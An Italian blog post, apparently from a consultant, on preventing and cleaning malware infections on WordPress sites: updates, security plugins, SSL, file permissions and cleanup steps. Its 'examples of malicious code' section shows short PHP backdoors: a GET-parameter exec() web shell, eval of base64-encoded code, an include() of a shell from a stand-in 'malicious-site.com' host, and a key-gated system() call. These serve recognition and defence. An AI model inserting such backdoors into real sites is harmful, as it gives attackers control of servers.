Il tuo carrello è attualmente vuoto!
Proteggere un sito WordPress dai Virus: guida alla sicurezza e alla pulizia completa

Photo by Clint Patterson on Unsplash
Se sei capitato qui, probabilmente il tuo sito è stato attaccato, o più semplicemente, sei cosciente dei possibili rischi che si corrono quando si hanno dei siti online e vuoi sapere come proteggere un sito WordPress dai Virus . Spesso mi capita di aiutare i miei clienti nella risoluzione di questi problemi, che possono essere più o meno gravi ed evidenti a seconda dei casi.
A volte l’attacco viene scovato semplicemente da un antivirus, anche se il sito sembra funzionare correttamente, altre volte invece il sito è danneggiato, mancano i dati, lo stile è compromesso, vengono generati degli errori o si trovano utenti amministratori non autorizzati.
Quello che è certo è che quotidianamente si sente parlare di attacchi informatici, quindi è bene cercare di prevenire e, in caso di problemi, non lasciarsi prendere dal panico, ma agire lucidamente e tempestivamente per ripulire e recuperare.
In tutto questo, bisogna sempre tenere a mente che un backup è spesso salvifico. Molti hosting offrono servizi di backup automatici, quindi se non hai fatto manualmente un backup o non hai configurato un plugin che li esegue quotidianemente, non disperare: potresti averli senza nemmeno saperlo.
Gli hosting con cui ho l’affiliazione hanno entrambi i backup compresi nel prezzo: Vhosting li ospita nel cPanel o Plesk (a seconda del server), mentre Siteground li gestisce nel proprio pannello custom.
Ora, anche se hai un backup e riesci a ripristinare il sito, non dimenticare che se è stato attaccato una volta, potrebbe essere attaccato nuovamente in futuro. Se vuoi stare tranquillo devi necessariamente lavorare per risolvere la vulnerabilità che era presente prima dell’attacco, quella stessa vulnerabilità che ha esposto il fianco del tuo sito ed ha permesse che l’attacco avesse l’esito nefasto.
Devi anche accertarti che non ci siano file sospetti: tieni conto che, se hai scoperto la vulnerabilità solo di recente, non è detto che non sia stata dormiente per molto tempo, e che il tuo sito non contenga backdoor o codice malevolo. Quindi seguimi in questa guida che ti illustra come proteggerti e come fare una pulizia completa del tuo sito.
Indice dei contenuti
WordPress ed i Virus
WordPress è una delle piattaforme più popolari per la creazione di siti web, ma la sua popolarità lo rende anche un bersaglio privilegiato per i malware e i virus. Proteggere il proprio sito è essenziale per garantire la sicurezza dei dati, l’affidabilità del sito e la fiducia degli utenti. In questo articolo, esploreremo come evitare i virus in WordPress, cosa aumenta il rischio e come effettuare una pulizia completa attraverso l’ispezione e la gestione dei file.
Perché WordPress è un obiettivo per i virus?
WordPress è open source, il che significa che il codice sorgente è accessibile a tutti. Questo rende la piattaforma vulnerabile a exploit se non viene mantenuta adeguatamente. Ma non è solo il core di WordPress a essere vulnerabile: plugin e temi non aggiornati, configurazioni errate e password deboli possono aumentare significativamente i rischi. Inoltre, molti siti WordPress si basano su plugin di terze parti che possono contenere falle di sicurezza.
Cosa Aumenta il Rischio di Attacchi Virus su WordPress
- Plugin e temi obsoleti: Molti attacchi provengono da plugin e temi non aggiornati. Quando questi strumenti non sono aggiornati regolarmente, diventano facili obiettivi per i malintenzionati che conoscono le vulnerabilità.
- Password deboli: Una password semplice o la mancanza di autenticazione a due fattori (2FA) può facilitare l’accesso non autorizzato al tuo sito.
- Mancanza di un certificato SSL: Un sito senza un certificato SSL (la versione in https) è più vulnerabile agli attacchi man-in-the-middle, in cui i dati possono essere intercettati durante la trasmissione.
- Permessi di file errati: Se i permessi dei file sul server non sono configurati correttamente, i hacker possono accedere facilmente e infettare il sito.
- Installazioni di terze parti non sicure: I siti che utilizzano script o risorse esterne non sicure sono soggetti a infezioni da virus o malware.
- Poca attenzione alla sicurezza: Non utilizzare plugin di sicurezza o non monitorare regolarmente il sito per attività sospette è una delle principali cause di compromissione.
Come Proteggere un Sito WordPress dai Virus
- Mantieni WordPress, plugin e temi aggiornati
Ogni aggiornamento rilasciato dagli sviluppatori contiene correzioni di vulnerabilità che potrebbero essere sfruttate dai malintenzionati. È consigliabile attivare gli aggiornamenti automatici se possibile. - Installa un Plugin di Sicurezza
Plugin come Wordfence, iThemes Security o Sucuri possono monitorare il tuo sito per attività sospette e proteggerti da attacchi comuni come brute force e malware. Un plugin di sicurezza ben configurato può identificare e fermare molte minacce prima che possano causare danni. - Utilizza una connessione sicura (SSL)
l certificato SSL crittografa la connessione tra il server e il browser, proteggendo le informazioni sensibili. Google considera un sito senza SSL come non sicuro, il che può influire negativamente sulla sua SEO e sull’affidabilità. Assicurati che tutte le pagine del tuo sito utilizzino HTTPS. - Imposta permessi di file correttamente
I permessi di file su WordPress devono essere configurati correttamente. In generale, i permessi di lettura e scrittura per file e cartelle devono essere limitati a ciò che è strettamente necessario. - Usa password complesse e se necessario Autenticazione a Due Fattori (2FA)
Le password devono essere lunghe, uniche e includere una combinazione di lettere, numeri e simboli. L’autenticazione a due fattori aggiunge un ulteriore livello di protezione, impedendo che un hacker possa entrare anche se ha ottenuto la tua password.
Come Fare una Pulizia Completa di un Sito WordPress Infetto
Se il tuo sito WordPress è stato compromesso da un virus, è fondamentale agire rapidamente per rimuovere la minaccia e ripristinare la sicurezza del sito. Ecco alcuni passaggi chiave per una pulizia completa:
- Backup Completo del Sito
Prima di fare qualsiasi modifica, esegui un backup completo del sito, inclusi i file e il database. In questo modo, se qualcosa va storto durante la pulizia, potrai ripristinare il sito a uno stato precedente. - Ripristino Backup antecedente l’attacco
Se disponibile un backup antecedente all’attacco puoi ripristinarlo. Ricorda, anche riesci a ripristinare correttamente il sito devi proseguire nei passi successivi, nel tuo backup potrebbe essere presente la vulnerabilità anche se il sito non manifesta dei sintomi sospetti. - Ispeziona e Sostituisci i File di WordPress
Questo è un punto fondamentale. Un’infezione spesso coinvolge i file di WordPress core, plugin e temi. Scarica una copia pulita di WordPress dal sito ufficiale e sostituisci tutti i file core. Questo aiuterà a rimuovere eventuali file compromessi.
Attenzione: non sovrascrivere wp-config.php e la cartella wp-content, perché mentre tutti gli altri file e le cartelle dell’installazione di WordPress contengono file uguali in ogni installazione (variano solo in base alla versione di WP) il wp-config.php contiene le impostazioni di connessione al database ed il wp-content tutte le personalizzazioni del tuo sito (plugin, temi, immagini). - Verifica e ripara wp-config.php
Apri wp-config.php e confrontala con wp-config-sample.php, verifica la presenza di codice strano, eventualmente rimuovilo. Attenzione a non modificare le configurazioni del tuo sito. - Verifica la Cartella wp-content
La cartella wp-content è dove si trovano i plugin, i temi e i caricamenti degli utenti. Controlla attentamente tutte le cartelle e rimuovi qualsiasi file sospetto o non riconosciuto. Un hacker potrebbe inserire script maligni qui.
Soprattutto fai attenzione ai file nella cartella upload, verifica la presenza di script php dentro le cartelle annidate, se presenti eliminali. Se hai molti file nella cartella upload ordinali per data e controlla gli ultimi modificati, successivamente ordinali per tipo e verifica eventuali file con estensione .php. - Rimuovi e Reinstalla i Plugin e Temi
Disattiva e rimuovi tutti i plugin e i temi non essenziali o non aggiornati. Assicurati che i plugin e i temi che decidi di mantenere provengano da fonti sicure e siano sempre aggiornati. Evita di utilizzare plugin piratati o scaricati da fonti dubbie, poiché spesso sono veicoli di malware. Potresti cancellare interamente ogni cartella di ogni plugin e sostituirla con una copia appena scaricata, in questo modo eviti di fare il controllo manuale come nel caso degli uploads. - Scansione del Sito con uno Strumento di Sicurezza
Usa strumenti di sicurezza come Sucuri SiteCheck o Wordfence per eseguire una scansione completa del sito e identificare eventuali vulnerabilità o malware nascosti. - Verifica il Database
Controlla il tuo database per eventuali tabelle sospette o voci che non riconosci. I malware possono inserire codici dannosi anche nel database, quindi è importante eseguire una scansione accurata. - Cambia le Password
Dopo aver rimosso l’infezione, cambia tutte le password di accesso, inclusi admin, FTP, database e altre credenziali sensibili. Ricorda di usare password forti e di attivare l’autenticazione a due fattori ove possibile. - Controlla i Permessi dei File
Dopo aver ripulito il sito, assicurati che i permessi dei file siano configurati correttamente per impedire accessi non autorizzati. Verifica i permessi corrette nelle tabelle di seguito.
Dettaglio dei permessi
Le cartelle devono generalmente avere permessi 755 in formato numerico e rwxr-xr-x in formato simbolico.
Directory | Permessi Numerici | Permessi Simbolici |
---|---|---|
/wp-content | 755 | rwxr-xr-x |
/wp-content/plugins | 755 | rwxr-xr-x |
/wp-content/themes | 755 | rwxr-xr-x |
/wp-content/uploads | 755 | rwxr-xr-x |
/wp-includes | 755 | rwxr-xr-x |
/wp-admin | 755 | rwxr-xr-x |
/wp-config.php (file critico) | 440 | r–r—– |
File | Permessi Numerici | Permessi Simbolici |
---|---|---|
wp-config.php (file critico) | 440 | r–r—– |
.htaccess (file critico) | 644 / 440 | rw-r–r– / r–r—– |
index.php | 644 | rw-r–r– |
wp-login.php | 644 | rw-r–r– |
wp-settings.php | 644 | rw-r–r– |
wp-admin/*.php | 644 | rw-r–r– |
wp-content/*.php | 644 | rw-r–r– |
wp-includes/*.php | 644 | rw-r–r– |
Riepilogo permessi
Cartelle: Permessi 755 → rwxr-xr-x
File: Permessi 644 → rw-r–r–
wp-config.php e .htaccess (file critici): Permessi 440 → r–r—–
Se il file .htaccess viene configurato con i permessi più restrittivi (440 → r–r—–) WordPress non sarà in grado di salvare automaticamente i permalinks, proprio perché i permessi che abbiamo definito impediscono la modifica del file. Non temere, WordPress quando tenterai di salvare la struttura dei permalinks ti fornirà il contenuto del file, ti basterà incollarlo e salvarlo manualmente nel tuo .htaccess.
Importante: se non vedi .htaccess il tuo server potrebbe non visualizzare il file nascosti (preceduti dal punto), cerca l’opzione per abilitare sul file manager i file nascosti. Abilitare i file nascosti ti può essere utile anche per trovare eventuali file sospetti.
Esempi di codice malevolo
Ecco alcuni esempi di codice malevolo che potrebbero essere trovati su un sito WordPress compromesso. Questi esempi sono solo a scopo educativo, per aiutarti a riconoscere e proteggere il tuo sito da potenziali minacce. Il codice malevolo viene spesso inserito nei file PHP (inclusi temi, plugin o persino file core), per eseguire azioni dannose come l’esecuzione di comandi arbitrari, l’inclusione di file remoti, o la creazione di backdoor.
1. Uso di exec()
La funzione exec() permette di eseguire comandi di sistema. Viene spesso utilizzata dai malintenzionati per eseguire comandi arbitrari sul server. Ecco un esempio di codice malevolo:
if (isset($_GET['cmd'])) {
exec($_GET['cmd']);
}
Spiegazione: Se il codice è presente su un file PHP nel tuo sito WordPress, un hacker potrebbe inviare un comando tramite l’URL (ad esempio example.com/?cmd=ls), eseguendo comandi sul server, il che può compromettere la sicurezza del sito.
2. Uso di eval() con codice offuscato
La funzione eval() esegue una stringa come codice PHP, ed è una delle tecniche più comuni usate per eseguire codice dinamico. Spesso viene utilizzata con il codice offuscato per nascondere le intenzioni malevole:
$code = 'aWYoJGV4ZWMgPSAnc3lzdGVtKCd0bXB3Jyk7IGNvbW1hbmQgb3B0aW9uKCdjaW4nK3F1b3MkK0VsR29vLWxTbmV3bm9yaGVyLCNwcm9ncmFtbWluK2J5dmlhd2J0ci';
eval(base64_decode($code));
Spiegazione: Il contenuto della variabile $code è offuscato in base64, quindi l’attaccante può nascondere l’azione effettiva del codice.
3. Uso di include() per caricare codice remoto
Un altro metodo comune per inserire codice malevolo su un sito WordPress è quello di includere file PHP da una posizione remota (su un altro sito). Ecco un esempio:
$remote_file = "http://malicious-site.com/shell.php";
include($remote_file);
Spiegazione: Questo codice include un file PHP da un sito remoto (che potrebbe contenere codice dannoso) ed eseguirlo sul tuo server. Gli hacker potrebbero usare questa tecnica per scaricare ed eseguire un “web shell”, che fornisce loro il controllo sul server.
4. Inserimento di backdoor per accesso non autorizzato
Un altro esempio di codice malevolo che potrebbe essere inserito in un file PHP su WordPress per creare una backdoor (cioè, un punto di accesso nascosto al sito) è il seguente:
if ($_GET['admin_key'] == 'secreta123') {
system('whoami');
}
Spiegazione: L’attaccante potrebbe accedere al server semplicemente visitando un URL come example.com/?admin_key=secreta123, che eseguirà un comando del sistema (in questo caso, whoami per mostrare l’utente corrente). Questo codice rappresenta una backdoor che consente agli hacker di eseguire comandi sul server senza dover passare attraverso la normale autenticazione.

Un Vero Problema di Sicurezza può Rovinare la Tua Reputazione
La sicurezza di un sito WordPress è vitale per la protezione dei tuoi clienti, ma anche per la tua reputazione come proprietario del sito. Un attacco hacker può avere conseguenze devastanti: perdita di fiducia da parte dei tuoi visitatori, danneggiamento dell’immagine aziendale e, in alcuni casi, sanzioni legali per la gestione inadeguata dei dati sensibili. Assicurati che la tua reputazione online rimanga al sicuro con un piano di sicurezza robusto e misure preventive.
Conclusioni
La sicurezza di un sito WordPress è un processo continuo, che richiede attenzione e manutenzione regolare. Tenere aggiornati i plugin, i temi e il core di WordPress, configurare correttamente i permessi dei file e usare misure di sicurezza come SSL e autenticazione a due fattori sono passaggi essenziali per mantenere il sito protetto. In caso di infezione, una pulizia completa del sito è fondamentale per rimuovere i virus e riportare il sito in uno stato sicuro. Investire nella sicurezza non è solo una buona pratica, ma è essenziale per proteggere il sito e la tua reputazione online.
Se non ti senti sicuro nell’affrontare queste operazioni da solo, considera di rivolgerti a un esperto di sicurezza WordPress per aiutarti a proteggere il tuo sito da minacce future.
Hai bisogno di supporto?
Hai bisogno di supporto? Sei in difficoltà, il tuo sito contiene dati sensibili e, nonostante tu abbia seguito la prassi, sei stato reinfettato?
Purtroppo, l’uso di un CMS come WordPress, da un lato, è un grande vantaggio per la sua facilità d’uso e personalizzazione, ma dall’altro, le vulnerabilità e il codice sono pubblici, il che li rende più suscettibili agli attacchi. A volte è complesso proteggere il sito da tutte le minacce, soprattutto se non sei esperto in sicurezza web.
Non lasciare che la sicurezza del tuo sito venga messa in pericolo. Prenota una consulenza per risolvere definitivamente il problema e proteggere il tuo sito da future minacce. Insieme, possiamo analizzare la causa dell’infezione, ripulire il sito e implementare soluzioni di sicurezza per garantirne la protezione a lungo termine. Non aspettare che la situazione peggiori, prendi il controllo della sicurezza del tuo sito oggi stesso!
Non lasciare che le incertezze ti fermino!
Se hai bisogno di chiarimenti o supporto su come gestire il tuo progetto online, prenota una consulenza e ti guiderò in ogni passo. È più facile di quanto pensi!